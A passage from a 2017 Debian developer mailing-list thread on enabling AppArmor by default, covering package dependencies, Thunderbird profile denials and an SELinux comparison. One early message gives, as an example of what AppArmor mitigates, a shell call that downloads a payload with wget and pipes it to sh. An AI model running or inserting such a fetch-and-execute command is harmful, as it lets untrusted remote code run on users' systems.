the MIME type x-scheme-handler/$PROTOCOL in the XDG specs).

Because in the end you have the following conflicting requirements:

 - On the one hand, you want the user to be able to open arbitrary
   files and links from many programs (especially e.g. email programs),
   for example opening PDF attachments with your favorite PDF reader
   or external links in your browser.

   This means that the email program must be able to execute arbitrary
   executables, because the user may have assigned arbitrary
   executables (for example also wrapper scripts in their home
   directory) to different file associations.

 - The user might also want to open a specific file with another
   program that is also associated with the file but not the default.
   For example, JPEG attachments might most commonly be opened by
   the favorite image viewer, but sometimes users may want to open
   the JPEG file in an image editor such as GIMP, and many programs
   offer the user a choice to choose between the installed programs
   that are associated with the type.

 - On the other hand one of the key features of AppArmor is to mitigate
   exploits so that an attacker can't just get the program to call the
   syscall execve("/bin/sh", {"/bin/sh", "-c", "wget payload | sh"});

I think this is a more general problem. It appears to me that there are
currently two possibilities:

 - Either one allows the execution of arbitrary executables by all
   desktop applications (because we don't know in advance what file
   types will be associated with what program, and the user may have
   their own wrapper scripts) - but that leaves a gaping hole in the
   possible mitigations AppArmor may provide.

 - Or one whitelists certain applications. This will have the
   unfortunate side-effect that any time the user installs a piece of
   software that isn't on that whitelist (or wants to use their own
   wrapper script) it won't work (because of AppArmor) - and
   unfortunately many users will then simply resort to disabling
   AppArmor in that case instead of actually creating a locally
   adapted policy. (Yes, sysadmins might not, but simple desktop
   users will - I know way too many people who simply don't even want
   to use group ownership and instead are happy to just do a
   chmod 0777 - and groups are mentally a lot simpler than AppArmor.)

I don't know what the best short-term compromise is here, but in the
long term the only real solution is to somehow abstract this away from
applications to ensure that the application started in these cases is
actually what the user wanted. (I'm thinking towards something like
the 'portals' concept in Flatpak.) Because if the default policy does
not cover these kinds of customization needs out of the box at least a
lot of desktop users will simply revert AppArmor and complain about
it.

Regards,
Christian

Re: Let's enable AppArmor by default (why not?)

[Guido Günther]

Hi,
On Tue, Oct 31, 2017 at 01:46:40PM +0100, Philipp Kern wrote:
> Hi Carsten,
> 
> thanks for your reply!
> 
> On 10/31/2017 07:54 AM, Carsten Schoenert wrote:
> > For Thunderbird intrigeri and myself came to the conclusion that
> > especially for the apparmor profile someone from the apparmor team
> > should be able to contribute changes to the profile directly to the git
> > tree. So intrigeri has become a member of the pkg-mozilla group to be
> > able to push changes by himself. I trust intrigeri enough that he will
> > do good contributions. For now it's the best we can do. This at all is
> > for sure improvable and we should talk about this on upcoming Debian
> > events or directly via email.
> 
> Okay, filed the bugs, lets see where they go. :) I was especially
> concerned about the browser part.
> 
> > ...
> >> [1] e.g.
> >> [ 3459.624852] audit: type=1400 audit(1509283082.571:59):
> >> apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg"
> >> name="/usr/share/thunderbird/omni.ja" pid=24720 comm="gpg2"
> >> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
> 
> Filed as #880425[1].
> 
> >> [2] e.g.
> >> [ 3795.153239] audit: type=1400 audit(1509283418.100:64):
> >> apparmor="DENIED" operation="exec" profile="thunderbird"
> >> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
> >> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0
> 
> Filed as #880424[0]. I think there is a deeper question here as to how
> to handle the browser abstraction for AppArmor in general.

There is /etc/apparmor.d/abstractions/ubuntu-browsers. The name isn't
very nice it's a start if we rename it to
/etc/apparmor.d/abstractions/browsers.

Cheers,
 -- Guido

> 
> > I suggest to open a bug report for each of such issues against
> > thunderbird with a description what was done and what was expected.
> 
> As above. :)
> 
> Kind regards and thanks
> Philipp Kern
> 
> [0] https://bugs.debian.org/880424
> [1] https://bugs.debian.org/880425
> 

Re: Let's enable AppArmor by default (why not?)

[Philipp Kern]

Hi Carsten,

thanks for your reply!

On 10/31/2017 07:54 AM, Carsten Schoenert wrote:
> For Thunderbird intrigeri and myself came to the conclusion that
> especially for the apparmor profile someone from the apparmor team
> should be able to contribute changes to the profile directly to the git
> tree. So intrigeri has become a member of the pkg-mozilla group to be
> able to push changes by himself. I trust intrigeri enough that he will
> do good contributions. For now it's the best we can do. This at all is
> for sure improvable and we should talk about this on upcoming Debian
> events or directly via email.

Okay, filed the bugs, lets see where they go. :) I was especially
concerned about the browser part.

> ...
>> [1] e.g.
>> [ 3459.624852] audit: type=1400 audit(1509283082.571:59):
>> apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg"
>> name="/usr/share/thunderbird/omni.ja" pid=24720 comm="gpg2"
>> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0

Filed as #880425[1].

>> [2] e.g.
>> [ 3795.153239] audit: type=1400 audit(1509283418.100:64):
>> apparmor="DENIED" operation="exec" profile="thunderbird"
>> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
>> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

Filed as #880424[0]. I think there is a deeper question here as to how
to handle the browser abstraction for AppArmor in general.

> I suggest to open a bug report for each of such issues against
> thunderbird with a description what was done and what was expected.

As above. :)

Kind regards and thanks
Philipp Kern

[0] https://bugs.debian.org/880424
[1] https://bugs.debian.org/880425



signature.asc
Description: OpenPGP digital signature

Re: Let's enable AppArmor by default (why not?)

[Carsten Schoenert]

Hello Philip,

Am 29.10.2017 um 14:27 schrieb Philipp Kern:
> On 08/05/2017 01:31 AM, intrigeri wrote:
>> What's the cost for package maintainers?
>> 
>>
>> For most of them: none at all. As said earlier, our AppArmor policy
>> does not cover that much software yet.
> 
> So how will bug reports work? For instance I turned it on and now I see
> a bunch of warnings[1] from Thunderbird and a bunch of actual failures
> when opening links (which is completely broken), because Thunderbird
> cannot exec google-chrome-beta. What about integration issues where a
> browser should be able to register itself as a browser and hence be
> available from applications that try to open links?
> 
> Right now thunderbird's profile is owned by thunderbird. Is
> thunderbird's maintainer expected to deal with all of these issues?
> Should there be some kind of tool where the apparmor team could
> aggregate the updates? (I.e. routinely review denies?)

in the near past I've forwarded bug reports about apparmor suggestions
and issues to Simon Diezel (CC'd) and also to intrigeri. This works
quite well now due a good responsive behavior of both and I'm really
thankful for this!

Right after the beginning of the apparmor profile for
Icedove/Thunderbird I was a bit skeptic if the shipping of the profile
within the ID/TB packaging will work and is maintainable as I haven't
use apparmor ever before and due this have quite zero experience with
that. I got the impression that the profile would be better under the
hood of the apparmor team as there is much more knowledge about the
working model.
Starting with this thread and by some talking to various people I
changed my mind about this. For better flexibility and customizing,
thinking about various releases (like *-security, *-backports e.g.) that
need to be supported, I believe apparmor profiles for the applications
should stay in the belonging source packages in most cases.
Ubuntu is doing the opposite as far as I know [1], the time will show
which way is batter.

But yes, the maintainers of such packages need the help of the apparmor
folks and also vice versa.

For Thunderbird intrigeri and myself came to the conclusion that
especially for the apparmor profile someone from the apparmor team
should be able to contribute changes to the profile directly to the git
tree. So intrigeri has become a member of the pkg-mozilla group to be
able to push changes by himself. I trust intrigeri enough that he will
do good contributions. For now it's the best we can do. This at all is
for sure improvable and we should talk about this on upcoming Debian
events or directly via email.

...
> [1] e.g.
> [ 3459.624852] audit: type=1400 audit(1509283082.571:59):
> apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg"
> name="/usr/share/thunderbird/omni.ja" pid=24720 comm="gpg2"
> requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
> 
> [2] e.g.
> [ 3795.153239] audit: type=1400 audit(1509283418.100:64):
> apparmor="DENIED" operation="exec" profile="thunderbird"
> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

I suggest to open a bug report for each of such issues against
thunderbird with a description what was done and what was expected.

[1] https://git.launchpad.net/apparmor-profiles/tree/ubuntu/17.10

-- 
Regards
Carsten Schoenert



signature.asc
Description: OpenPGP digital signature

Re: Let's enable AppArmor by default (why not?)

[Jeremy Bicha]

On Fri, Oct 27, 2017 at 11:06 AM, Anthony DeRobertis
 wrote:
> the kernel runs just fine w/o and doesn't lose any
> major functionality.

I think the whole point of this thread is that AppArmor is major
functionality that we want in default Debian systems. Therefore,
demoting it to Suggests in Bullseye seems counter-productive.

Thanks,
Jeremy Bicha

Re: Let's enable AppArmor by default (why not?)

[Ben Hutchings]

On Fri, 2017-10-27 at 11:53 +0200, intrigeri wrote:
[...]
> > 2. fix all the problems identified in #1
> 
> We're almost there! Remaining blockers:
> 
>  - deal with Linux 4.14 bringing in new mediation features and having
>a bug (until -rc6 at least) precisely in the way it handles the
>obvious mitigation I've applied (feature set pinning): tracked by
>#877581, likely 4.14-rc7 will fix it;

It seems to have been fixed - kind of - by a revert:

commit 80c094a47dd4ea63375e3f60b5e076064f16e857
Author: Linus Torvalds 
Date:   Thu Oct 26 19:35:35 2017 +0200

Revert "apparmor: add base infastructure for socket mediation"

Let's hope socket mediation will be enabled again in a compatible way
for 4.15.

>worst case, if Linux 4.14
>reaches sid with this bug not fixed yet, I'll revert the feature
>set pinning and we'll deal with whatever bits of policy need
>updates (the most important ones all have patches submitted
>upstream + to the BTS already so I'm confident)
> 
>  - enable AppArmor by default in our Linux kernel: I'll file a bug
>about it once the above issue is resolved
[...]

Already did it with today's uploads. :-)

Ben.

-- 
Ben Hutchings
friends: People who know you well, but like you anyway.



signature.asc
Description: This is a digitally signed message part

Re: Let's enable AppArmor by default (why not?)

[Philipp Kern]

On 08/05/2017 01:31 AM, intrigeri wrote:
> What's the cost for package maintainers?
> 
> 
> For most of them: none at all. As said earlier, our AppArmor policy
> does not cover that much software yet.

So how will bug reports work? For instance I turned it on and now I see
a bunch of warnings[1] from Thunderbird and a bunch of actual failures
when opening links (which is completely broken), because Thunderbird
cannot exec google-chrome-beta. What about integration issues where a
browser should be able to register itself as a browser and hence be
available from applications that try to open links?

Right now thunderbird's profile is owned by thunderbird. Is
thunderbird's maintainer expected to deal with all of these issues?
Should there be some kind of tool where the apparmor team could
aggregate the updates? (I.e. routinely review denies?)

Kind regards
Philipp Kern

[1] e.g.
[ 3459.624852] audit: type=1400 audit(1509283082.571:59):
apparmor="DENIED" operation="file_inherit" profile="thunderbird//gpg"
name="/usr/share/thunderbird/omni.ja" pid=24720 comm="gpg2"
requested_mask="r" denied_mask="r" fsuid=1000 ouid=0

[2] e.g.
[ 3795.153239] audit: type=1400 audit(1509283418.100:64):
apparmor="DENIED" operation="exec" profile="thunderbird"
name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0



signature.asc
Description: OpenPGP digital signature

Re: Let's enable AppArmor by default (why not?)

[Holger Levsen]

On Fri, Oct 27, 2017 at 11:24:29AM -0400, Anthony DeRobertis wrote:
> > recommends wont work, they arent installed on upgrades…
> I haven't tested it, but at least according to apt's changelog new
> recommends are installed on upgrade as of 0.7.0 as log as
> APT::Install-Recommends is true, which has been the default since
> 0.7.17. So unless the changelog lies, recommends have been installed on
> upgrade since 05 Nov 2008.

oh wow, I happily stand corrected then.


-- 
cheers,
Holger


signature.asc
Description: PGP signature

Re: Let's enable AppArmor by default (why not?)

[Anthony DeRobertis]

On Fri, Oct 27, 2017 at 01:00:58PM +, Holger Levsen wrote:

> recommends wont work, they arent installed on upgrades…

I haven't tested it, but at least according to apt's changelog new
recommends are installed on upgrade as of 0.7.0 as log as
APT::Install-Recommends is true, which has been the default since
0.7.17. So unless the changelog lies, recommends have been installed on
upgrade since 05 Nov 2008.

Re: Let's enable AppArmor by default (why not?)

[Anthony DeRobertis]

On Fri, Oct 27, 2017 at 10:01:18AM +0200, Mathieu Parent wrote:

> Could'nt we:
> 
> 5. Make linux-image-$abi-$arch Depends on apparmor | selinux-basics |
> tomoyo-tools | linux-no-lsm
> 
> With linux-no-lsm being a new empty package, and all of apparmor,
> selinux-basics, tomoyo-tools enable the corresponding LSM.

I don't think there is a good way to guarantee which alternative there
apt picks. It could pick to install linux-no-lsm for example (and who
knows, maybe due to fewer dependencies, or a conflict, or whatever, it
will). Even if it works today, that seems fragile...

Also, a Depends: with one of the alternatives being "don't install
anything" strikes me as a hack to work around not having Recommends or
Suggests — but we do have those, so I'm not sure why we wouldn't use
them instead.

Re: Let's enable AppArmor by default (why not?)

[Anthony DeRobertis]

On Fri, Oct 27, 2017 at 08:57:26AM -0400, Jeremy Bicha wrote:
> On Thu, Oct 26, 2017 at 11:29 PM, Anthony DeRobertis
>  wrote:
> > 3. Have a Recommends or Depends on it from another package that is
> > installed. (Presumably that'd be a Recommends from the linux-image-*
> > packages, and would be dropped down to a Suggests for buster+1).
> 
> Why shouldn't it stay a Recommends for Bullseye (buster+1) too?

Because for Bullseye, it'll already be pulled in (during the Buster
upgrade) or during the install (as both the Buster and Bullseye
installers will install it). So there is no longer any reason to inflate
the importance — the kernel runs just fine w/o and doesn't lose any
major functionality.

Normally it'd only be a Suggests (if anything), but Suggests won't pull
the package in on upgrade.

Re: Let's enable AppArmor by default (why not?)

[Holger Levsen]

On Fri, Oct 27, 2017 at 08:57:26AM -0400, Jeremy Bicha wrote:
> > 3. Have a Recommends or Depends on it from another package that is
> > installed. (Presumably that'd be a Recommends from the linux-image-*
> > packages, and would be dropped down to a Suggests for buster+1).
> Why shouldn't it stay a Recommends for Bullseye (buster+1) too?

recommends wont work, they arent installed on upgrades…


-- 
cheers,
Holger


signature.asc
Description: PGP signature

Re: Let's enable AppArmor by default (why not?)

[Jeremy Bicha]

On Thu, Oct 26, 2017 at 11:29 PM, Anthony DeRobertis
 wrote:
> 3. Have a Recommends or Depends on it from another package that is
> installed. (Presumably that'd be a Recommends from the linux-image-*
> packages, and would be dropped down to a Suggests for buster+1).

Why shouldn't it stay a Recommends for Bullseye (buster+1) too?

Thanks,
Jeremy Bicha

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

intrigeri:
> Chris Lamb:
>> So… in the spirit of taking (reversible!) risks, can you briefly outline
>> what's blocking us enabling this today? :)

> Thanks for asking!

> I've scheduled time on October 23-27 to:

We made good progress. Thanks a lot to Vincas Dargis and the Ubuntu
and openSUSE folks who helped quite a bit :)

> 1. identify what still prevents us from starting the proposed
>experiment

Done, see below for the remaining ones.

> 2. fix all the problems identified in #1

We're almost there! Remaining blockers:

 - deal with Linux 4.14 bringing in new mediation features and having
   a bug (until -rc6 at least) precisely in the way it handles the
   obvious mitigation I've applied (feature set pinning): tracked by
   #877581, likely 4.14-rc7 will fix it; worst case, if Linux 4.14
   reaches sid with this bug not fixed yet, I'll revert the feature
   set pinning and we'll deal with whatever bits of policy need
   updates (the most important ones all have patches submitted
   upstream + to the BTS already so I'm confident)

 - enable AppArmor by default in our Linux kernel: I'll file a bug
   about it once the above issue is resolved

 - decide how to pull the AppArmor policy + userspace: tracked by
   #879590, started discussion on this list and with debian-boot@

 - anything else?

> 3. document on the BTS what must be fixed between the time we start
>the experiment and the time we decide what to do for the Buster
>release

I'll come back to this later. Not a blocker to start the experiment IMO.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Mathieu Parent:
> Could'nt we:

> 5. Make linux-image-$abi-$arch Depends on apparmor | selinux-basics |
> tomoyo-tools | linux-no-lsm

> With linux-no-lsm being a new empty package, and all of apparmor,
> selinux-basics, tomoyo-tools enable the corresponding LSM.

This would be ideal on the long term and a lot of thought has been put
into it (#702030), but it requires quite some work in various places
and AFAIK nobody looked into how it could work for non-GRUB
bootloaders; I suspect some of the major bootloaders we support don't
offer the same flexibility as GRUB wrt. random packages injecting
parameters on the kernel command line.

As Ben Hutchings wrote on https://bugs.debian.org/879590#10, "We
really should have a common way to append things to the kernel command
line […] but this shouldn't have to wait for that" with which
I couldn't agree more.

Thankfully we already have another, cheap solution to address the "how
to enable the AppArmor LSM in the kernel" problem :) So now I'd rather
focus on the other, remaining problem, i.e. "how to pull in the
AppArmor policy + userspace tools".

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Mathieu Parent]

Hi,

2017-10-27 5:29 GMT+02:00 Anthony DeRobertis :
> I think the only two ways to get a new package installed upon stretch →
> buster are:
>
> 1. Suggest the admin do it in the release notes. (It should be documented in
> the release notes no matter which option we pick, of course.)
>
> 2. Suggest the admin do it in a NEWS.Debian entry (but it needs to be an
> upgraded package, not a new one, else it won't be displayed. So the
> linux-image-4.* packages won't work, but e.g., linux-image-amd64 would).
>
> 3. Have a Recommends or Depends on it from another package that is
> installed. (Presumably that'd be a Recommends from the linux-image-*
> packages, and would be dropped down to a Suggests for buster+1).
>
> 4. Suggest the admin do it in a debconf note. Highly discouraged nowadays.
>

Could'nt we:

5. Make linux-image-$abi-$arch Depends on apparmor | selinux-basics |
tomoyo-tools | linux-no-lsm

With linux-no-lsm being a new empty package, and all of apparmor,
selinux-basics, tomoyo-tools enable the corresponding LSM.

Regards


-- 
Mathieu Parent

Re: Let's enable AppArmor by default (why not?)

[Anthony DeRobertis]

I think the only two ways to get a new package installed upon stretch → 
buster are:


1. Suggest the admin do it in the release notes. (It should be 
documented in the release notes no matter which option we pick, of course.)


2. Suggest the admin do it in a NEWS.Debian entry (but it needs to be an 
upgraded package, not a new one, else it won't be displayed. So the 
linux-image-4.* packages won't work, but e.g., linux-image-amd64 would).


3. Have a Recommends or Depends on it from another package that is 
installed. (Presumably that'd be a Recommends from the linux-image-* 
packages, and would be dropped down to a Suggests for buster+1).


4. Suggest the admin do it in a debconf note. Highly discouraged nowadays.

All of those except #1 also work for folks following testing or unstable.

Personally, I don't have a preference between #1 and #3, as long as we 
find some reasonable way to opt-out if we go with #3 (and document it in 
the release notes).


On 10/26/2017 11:02 AM, intrigeri wrote:

Hi,

intrigeri:

tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
and decide one year later if we want to keep it this way in the
Buster release.

Thanks a lot to everyone who participated on this thread, tried
AppArmor and reported bugs, or expressed support/interest privately!

Summary of the discussion: no strong objection was raised; quite a few
potential issues were mentioned; the most serious ones were either
resolved already, or in good way to be resolved in the next 2 weeks.
So, my understanding is that we have a broad consensus and can start
the proposed experiment.

I need advice from you folks on one specific matter, see below.


1. Enable AppArmor by default in testing/sid as soon as feasible in
the Buster cycle.
I can think of several possible ways to do it but for now I'd
rather focus on the "do we want to do it at all" conversation.

It's now time to discuss the "how" aspect.

Enabling AppArmor by default requires two changes:

1. enabling the LSM in Linux: problem solved, Ben Hutchings agreed
we should do this in src:linux, at least for the time being;

2. installing the apparmor package by default: it ships the bits of
code that load AppArmor policy during boot and some shared bits of
policy that most other AppArmor profiles rely upon.

This email is about (2). There are two aspects to it.

For new installations, it seems that making the apparmor package
"Priority: standard" is the way to go. I've asked debian-boot@'s
opinion about it [priority:standard?] but the rest of our developers
community is of course welcome to comment as well.

For upgrades it seems much more complicated. Ideally I would like the
apparmor package to be installed automatically:

  - on testing/sid upgrades, during the Buster dev cycle: this would
greatly increase the value of the "enable AppArmor by default for
a while" experiment as we would get lots more data to reason about
when the time comes;

  - during Stretch to Buster upgrades: this seems necessary so every
user gets the AppArmor benefits, regardless of when they installed
their system initially.

I also want to provide easy means for users to opt-out from
the experiment.

I've requested advice on this topic from a few fellow Debian people
and the conclusion seems to be:

  - I was told essentially "we generally don't do that in Debian" by
a few people who suggested me asking this mailing list.

I don't understand the rationale though — during system upgrades we
do change the distro behavior in many ways: we add new features, we
enable new security measures, we switch init systems, we switch
from MySQL to MariaDB and all sort of things — so it's not obvious
to me why doing the same to enable a security system like AppArmor
would be a Bad Thing™.

Is the concern specifically about doing so by pulling a new
package in?

Or is it specifically about enabling a LSM that was previously
disabled? (Any such big change brings a risk of introducing
regressions, so the underlying questions seem to be "is the risk
worth it? is the risk well managed?")

  - We have no better option to achieve that than having another
package, that's already installed by default, add a "Recommends:
apparmor". This feels artificial and rather ugly, but it might be
the only option. I don't know which other package would be the most
suitable to add this dependency. Any suggestion? Any other idea?

I'd love to read your thoughts about this. Let's discuss it.

[priority:standard?] https://bugs.debian.org/879590#25

Cheers,

Re: Let's enable AppArmor by default (why not?)

[Neal Gompa]

On Thu, Oct 26, 2017 at 1:49 PM, intrigeri  wrote:
> Hi Neal & others,
>
> Neal Gompa:
>> I was recently pointed to the thread going on debian-devel about
>> enabling AppArmor LSM in Debian, and as I read through your proposal,
>> I felt it should be warranted to point out a few things in regards to
>> the SELinux comparison:
>
> Thanks a lot for your carefully worded and extremely well sourced
> email! I've already learned quite a few interesting things.
>
>> intrigeri wrote:
>>> Why AppArmor and not SELinux?
>>> -
>>>
>>> SELinux is another LSM that tackles similar problems.
>
> [...]
>
>>> * Enabled by default in RHEL so in theory a great number of sysadmins
>>>   are at ease with it (see below why reality may not match this).
>
>> It's also important to note that it is also enabled by default in
>> Fedora, which is the upstream for RHEL.
>
> Sure. I didn't mention it because I don't see this as very relevant in
> the context of this discussion: it's a fact that many sysadmins active
> in Debian have to use RHEL/CentOS at work, but I doubt many Debian
> people are this much exposed to Fedora, so I don't think it's a good
> source of pre-existing SELinux expertise in Debian.
>
>> I do know of users of SELinux in Debian and Ubuntu, though they often
>> fork from refpolicy or fedora-selinux the bits they want to use and
>> install it on top of the current refpolicy offered in Debian.
>
> Interesting. It's good to know there are such options to use SELinux
> on Debian :) It also says something that I'm inclined to interpret as
> "the SELinux policy in Debian is not ready for prime-time". I'd be
> glad to be wrong though!
>

I'm not sure that's actually the case. I can't really speak for it, as
I generally don't use Debian (I primarily use Fedora, openSUSE,
Mageia, and CentOS). One thing I have observed is that there are no
guidelines or policy documentation from Debian on how to install
policy modules. That's a very annoying gap for anyone who wants to
leverage the modular nature of SELinux policies.

Many, many, many common services and applications ship SELinux policy
modules, and they are not packaged in Debian because no one is sure
how to do it.

I've more or less fallen back to telling people to use the Makefile to
build and install the module and hope that Debian does The Right
Thing(TM). But of course, I don't know if this is true.

>>> * Writing, maintaining, auditing and debugging SELinux policy
>>>   requires grasping a complex conceptual model; I am told this is not
>>>   as easy as doing the same with AppArmor.
>
>> This is not really true. While it is true that the conceptual model is
>> more complex, the tooling for doing all the regular work with SELinux
>> is great. In many cases, the tools can analyze what's happened and
>> suggest a course of action about how to fix it. If it looks like a
>> bug, they suggest filing one with the vendor (in my case, when weird
>> things happen with the SELinux policy in Fedora, bugs get filed on
>> selinux-policy with the information from setroubleshoot so that things
>> can get fixed).
>
> This sounds great UX; it makes me wish to try it out and draw
> inspiration from it to improve AppArmor's UX too. Thanks for sharing.
>
>> As for the complexity of making policies and policy modules, I've
>> written a few policy modules, and they're not that bad. You can make
>> some pretty simple policies if you don't want to expose any
>> administrative tunables. That said, even with the tunables, it's not
>> that bad.
>
>> For example, the container-selinux policy module is pretty easy to
>> understand: https://github.com/projectatomic/container-selinux
>
>> The refpolicy documentation is pretty comprehensive too:
>> http://oss.tresys.com/docs/refpolicy/api/
>
> I had a quick look and I agree: it's not that bad. Still feels much
> scarier than AppArmor policy to me, but I'm clearly not the right
> person to judge these days :)
>
>>> * As far as I could understand when chatting with sysadmins of Red
>>>   Hat systems, this has resulted in a culture where many users got
>>>   used to disable SELinux entirely on their systems, instead of
>>>   trying to fix the buggy policy.
>
>> Back in the RHEL 5 days, this is definitely true. And if many of of
>> the Red Hat sysadmins you've talked to primarily maintain RHEL 5
>> systems (which is not unlikely), then it makes sense. Back in the RHEL
>> 5 days (circa 2007), the tooling was very primitive, and for the most
>> part, the troubleshooting tools didn't exist.
>
>> Today in Fedora and RHEL 7, the tooling is very advanced, and in
>> almost every case where I've hit AVC denials in SELinux,
>> setroubleshoot has given me very useful information including
>> suggested course of actions to actually fix it locally.
>
> OK, this does explain things. It's sad that this culture has been
> created in the first place — changing users' habits is hard: the
> sysadmins I'm talking about kept "disable SELinux" i

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi Neal & others,

Neal Gompa:
> I was recently pointed to the thread going on debian-devel about
> enabling AppArmor LSM in Debian, and as I read through your proposal,
> I felt it should be warranted to point out a few things in regards to
> the SELinux comparison:

Thanks a lot for your carefully worded and extremely well sourced
email! I've already learned quite a few interesting things.

> intrigeri wrote:
>> Why AppArmor and not SELinux?
>> -
>>
>> SELinux is another LSM that tackles similar problems.

[...]

>> * Enabled by default in RHEL so in theory a great number of sysadmins
>>   are at ease with it (see below why reality may not match this).

> It's also important to note that it is also enabled by default in
> Fedora, which is the upstream for RHEL.

Sure. I didn't mention it because I don't see this as very relevant in
the context of this discussion: it's a fact that many sysadmins active
in Debian have to use RHEL/CentOS at work, but I doubt many Debian
people are this much exposed to Fedora, so I don't think it's a good
source of pre-existing SELinux expertise in Debian.

> I do know of users of SELinux in Debian and Ubuntu, though they often
> fork from refpolicy or fedora-selinux the bits they want to use and
> install it on top of the current refpolicy offered in Debian.

Interesting. It's good to know there are such options to use SELinux
on Debian :) It also says something that I'm inclined to interpret as
"the SELinux policy in Debian is not ready for prime-time". I'd be
glad to be wrong though!

>> * Writing, maintaining, auditing and debugging SELinux policy
>>   requires grasping a complex conceptual model; I am told this is not
>>   as easy as doing the same with AppArmor.

> This is not really true. While it is true that the conceptual model is
> more complex, the tooling for doing all the regular work with SELinux
> is great. In many cases, the tools can analyze what's happened and
> suggest a course of action about how to fix it. If it looks like a
> bug, they suggest filing one with the vendor (in my case, when weird
> things happen with the SELinux policy in Fedora, bugs get filed on
> selinux-policy with the information from setroubleshoot so that things
> can get fixed).

This sounds great UX; it makes me wish to try it out and draw
inspiration from it to improve AppArmor's UX too. Thanks for sharing.

> As for the complexity of making policies and policy modules, I've
> written a few policy modules, and they're not that bad. You can make
> some pretty simple policies if you don't want to expose any
> administrative tunables. That said, even with the tunables, it's not
> that bad.

> For example, the container-selinux policy module is pretty easy to
> understand: https://github.com/projectatomic/container-selinux

> The refpolicy documentation is pretty comprehensive too:
> http://oss.tresys.com/docs/refpolicy/api/

I had a quick look and I agree: it's not that bad. Still feels much
scarier than AppArmor policy to me, but I'm clearly not the right
person to judge these days :)

>> * As far as I could understand when chatting with sysadmins of Red
>>   Hat systems, this has resulted in a culture where many users got
>>   used to disable SELinux entirely on their systems, instead of
>>   trying to fix the buggy policy.

> Back in the RHEL 5 days, this is definitely true. And if many of of
> the Red Hat sysadmins you've talked to primarily maintain RHEL 5
> systems (which is not unlikely), then it makes sense. Back in the RHEL
> 5 days (circa 2007), the tooling was very primitive, and for the most
> part, the troubleshooting tools didn't exist.

> Today in Fedora and RHEL 7, the tooling is very advanced, and in
> almost every case where I've hit AVC denials in SELinux,
> setroubleshoot has given me very useful information including
> suggested course of actions to actually fix it locally.

OK, this does explain things. It's sad that this culture has been
created in the first place — changing users' habits is hard: the
sysadmins I'm talking about kept "disable SELinux" in their
post-installation checklist and have no clue that RHEL 7 solved all
these problems. I suspect they'll need many more years to realize they
could change their habits. I'll tell them about it!

Now, my point is not very relevant in the context of the Debian
discussion: hopefully not many Debian users are affected by this
"always disable SELinux" culture.

>>   I've seen the opposite happen with
>>   AppArmor, which is good: for example, pretty often bug reporters to
>>   the Debian BTS document themselves how they could workaround the
>>   problem locally *without* turning AppArmor off. Looking at open
>>   bugs in the BTS against src:refpolicy, this seems to happen very
>>   rarely for SELinux, so I wonder if it would be realistic to ship
>>   Debian with SELinux enforced by default and have our community
>>   support it.

I think this was not contested.

>> * https://wiki.deb

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

intrigeri:
> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

Thanks a lot to everyone who participated on this thread, tried
AppArmor and reported bugs, or expressed support/interest privately!

Summary of the discussion: no strong objection was raised; quite a few
potential issues were mentioned; the most serious ones were either
resolved already, or in good way to be resolved in the next 2 weeks.
So, my understanding is that we have a broad consensus and can start
the proposed experiment.

I need advice from you folks on one specific matter, see below.

> 1. Enable AppArmor by default in testing/sid as soon as feasible in
>the Buster cycle.

>I can think of several possible ways to do it but for now I'd
>rather focus on the "do we want to do it at all" conversation.

It's now time to discuss the "how" aspect.

Enabling AppArmor by default requires two changes:

1. enabling the LSM in Linux: problem solved, Ben Hutchings agreed
   we should do this in src:linux, at least for the time being;

2. installing the apparmor package by default: it ships the bits of
   code that load AppArmor policy during boot and some shared bits of
   policy that most other AppArmor profiles rely upon.

This email is about (2). There are two aspects to it.

For new installations, it seems that making the apparmor package
"Priority: standard" is the way to go. I've asked debian-boot@'s
opinion about it [priority:standard?] but the rest of our developers
community is of course welcome to comment as well.

For upgrades it seems much more complicated. Ideally I would like the
apparmor package to be installed automatically:

 - on testing/sid upgrades, during the Buster dev cycle: this would
   greatly increase the value of the "enable AppArmor by default for
   a while" experiment as we would get lots more data to reason about
   when the time comes;

 - during Stretch to Buster upgrades: this seems necessary so every
   user gets the AppArmor benefits, regardless of when they installed
   their system initially.

I also want to provide easy means for users to opt-out from
the experiment.

I've requested advice on this topic from a few fellow Debian people
and the conclusion seems to be:

 - I was told essentially "we generally don't do that in Debian" by
   a few people who suggested me asking this mailing list.

   I don't understand the rationale though — during system upgrades we
   do change the distro behavior in many ways: we add new features, we
   enable new security measures, we switch init systems, we switch
   from MySQL to MariaDB and all sort of things — so it's not obvious
   to me why doing the same to enable a security system like AppArmor
   would be a Bad Thing™.

   Is the concern specifically about doing so by pulling a new
   package in?

   Or is it specifically about enabling a LSM that was previously
   disabled? (Any such big change brings a risk of introducing
   regressions, so the underlying questions seem to be "is the risk
   worth it? is the risk well managed?")

 - We have no better option to achieve that than having another
   package, that's already installed by default, add a "Recommends:
   apparmor". This feels artificial and rather ugly, but it might be
   the only option. I don't know which other package would be the most
   suitable to add this dependency. Any suggestion? Any other idea?

I'd love to read your thoughts about this. Let's discuss it.

[priority:standard?] https://bugs.debian.org/879590#25

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

John Johansen:
> On 09/09/2017 12:49 PM, intrigeri wrote:
>> John Johansen:
>> Christian Seiler put it clearly (quoted above) but here's a more
